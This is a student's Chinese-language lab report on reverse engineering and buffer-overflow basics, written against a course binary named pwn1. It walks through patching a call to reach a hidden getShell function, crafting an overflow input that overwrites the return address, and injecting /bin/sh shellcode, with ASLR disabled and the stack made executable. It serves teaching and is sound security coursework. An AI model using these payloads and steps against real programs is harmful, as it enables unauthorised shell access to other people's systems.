20155327李百乾《网络对抗》逆向及Bof基础

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

--

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

基础知识

1.熟悉Linux基本操作

objdump -d:从objfile中反汇编那些特定指令机器码的section。

perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。

xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。

ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。

|:管道,将前者的输出作为后者的输入。

:输入输出重定向符,将前者输出的内容输入到后者中。

2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

实践内容

实践一:直接修改程序机器指令,改变程序执行流程

使用objdump -d pwn1将pwn1反汇编

如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。

修改的具体步骤如下:

vi pwn1进入命令模式

输入:%!xxd将显示模式切换为十六进制

在底行模式输入/e8d7定位需要修改的地方,并确认

进入插入模式,修改d7为c3

输入:%!xxd -r将十六进制转换为原格式

使用:wq保存并退出

反汇编查看修改后的代码,发现call指令正确调用getShell:

实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

按照步骤输入:

 gdb pwn1
(gdb) r
Starting program: /root/pwn1
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555
```使用gdb进行调试:
![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134447223-1650846507.png) - 确认用什么值来覆盖返回地址。 首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444\x7d\x84\x04\x08。
- 构造输入字符串 因为键盘无法输入\x7d\x84\x04\x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
使用16进制查看指令xxd查看input文件的内容。
![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134622254-621429758.png) ##实践三 注入Shellcode并执行
.准备一段Shellcode   Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
   选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

2. 准备工作

root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行

root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行

X pwn1

root@KaliYL:~# more /proc/sys/kernel/randomize_va_space

2

root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

root@KaliYL:~# more /proc/sys/kernel/randomize_va_space

0



打开一个终端注入这段攻击buf

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1

������1�Ph//shh/bin��PS��1Ұ

再开另外一个终端,用gdb来调试pwn1这个进程。

root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是

root@KaliYL:/home# gdb//启动gdb调试这个进程

(gdb) attach 27728

(gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址

(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
//!!注意:在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。 (gdb) c
Continuing. (gdb) info r esp //查看寄存器的值 (gdb) x/16x 0xffffd3fc //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd2e0



root@KaliYL:~# perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

root@KaliYL:~# xxd input_shellcode

root@KaliYL:~# (cat input_shellcode;cat) | ./pwn20155327

20155327李百乾《网络对抗》逆向及Bof基础的更多相关文章

  1. 20155327 李百乾 Exp7 网络欺诈防范

    20155327 李百乾 Exp7 网络欺诈防范 基础问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 就此次试验来看,被收到NDSspoof攻击,首先要被攻击机扫描,并被设置为目标,所 ...

  2. 20155327 李百乾 Exp4 恶意代码分析

    20155327 李百乾 Exp4 恶意代码分析 基础问题回答 (1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用什么方法 ...

  3. 20155327李百乾 Exp3 免杀原理与实践

    20155327李百乾 Exp3 免杀原理与实践 实践guocheng 一.Msfvenom使用编码器 1.利用(virustota)[https://www.virustotal.com/]检测实验 ...

  4. 20145309李昊《网络对抗》MSF应用基础

    实验内容 掌握metasploit的基本应用方式1.主动攻击——ms08_0672.针对浏览器的攻击——ms11_0503.针对客户端的攻击——Adobe4.成功应用一个辅助模块——scanner/d ...

  5. 20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

    20155201 李卓雯 <网络对抗技术>实验一 逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,f ...

  6. 网络对抗实验一 逆向及Bof基础实践

    网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...

  7. 20145203盖泽双 《网络对抗技术》实践1—— MAL_逆向与Bof基础

    20145203盖泽双 <网络对抗技术> MAL_逆向与Bof基础 实践目标 (1)我们要通过修改程序代码,使得程序运行其自身中本不该运行的代码片段. (2)在这里,我们有一个名为2014 ...

  8. 20145308 《网络对抗》 逆向及BOF基础实践 学习总结

    20145308 <网络对抗> 逆向及BOF基础实践 学习总结 实践目的 通过两种方法,实现程序能够运行原本并不会被运行的代码 实践原理 利用foo函数的Bof漏洞,构造一个攻击输入字符串 ...

  9. 20145236《网络对抗》Exp1 逆向及Bof基础

    20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...

随机推荐

  1. SSL Certificates深入理解

    http://www.littlewhitedog.com/content-71.html https://www.verisign.com/en_US/website-presence/websit ...

  2. Vue2学习笔记:v-model指令

    1.v-model指令 <!DOCTYPE html> <html> <head> <title></title> <script s ...

  3. Invalid argument during startup: unknown conf file parameter : requirepass

    redis 设置来密码,出现来这个错误, 把配置文件那一行的 空格 去掉 # requirepass foobared 改成 requirepass 123456 因为# 和 requirepass ...

  4. UNIX高级环境编程(6)标准IO函数库 - 流的概念和操作

    标准IO函数库隐藏了buffer大小和分配的细节,使得我们可以不用关心预分配的内存大小是否正确的问题. 虽然这使得这个函数库很容易用,但是如果我们对函数的原理不熟悉的话,也容易遇到很多问题.   1 ...

  5. Asp.net Core 2.0+EntityFrameWorkCore 2.0添加数据迁移

    Asp.net Core 由于依赖注入的广泛使用,配置数据迁移,与Asp.net大不相同,本篇介绍一下Asp.net Core添加数据迁移的过程 添加Nuget包 Install-Package Mi ...

  6. Spring Boot 以 war 方式部署

    Spring Boot 默认自带了一个嵌入式的 Tomcat 服务器,可以以jar方式运行,更为常见的情况是需要将 Spring Boot 应用打包成一个 war 包,部署到 Tomcat.Jerry ...

  7. 简单的dp加贪心

    题目链接:传送门 这个题目让我纠结了好久,之后恍然大悟是求最长的递减序列,并加上贪心的算法,如果有大于两个的发射系统,应该判断使导弹的高度与此时个个发射系统的高度比较,选取高度差最小的去执行这次的拦截 ...

  8. lambda表达式和groovy闭包的区别

    groovy定义的闭包是 Closure 的实例,lambda表达式只是在特定的接⼝或者抽象类的匿名实现,他们之间最主要区别闭包可以灵活的配置代理策略⽽labmda表达式不允许

  9. python subprocess 和 multiprocess选择以及我遇到的坑

    The subprocess option: subprocess is 用来执行其他的可执行程序的,即执行外部命令. 他是os.fork() 和 os.execve() 的封装. 他启动的进程不会把 ...

  10. 使用Thunderbird时你可能会用到的技巧

    1.添加qq邮箱账号 (1).开启IMAP/SMTP服务 先在QQ网页邮箱-设置-账户:开启IMAP/SMTP服务(2). Thunderbird 里设定端口(非POP):IMAP:imap.qq.c ...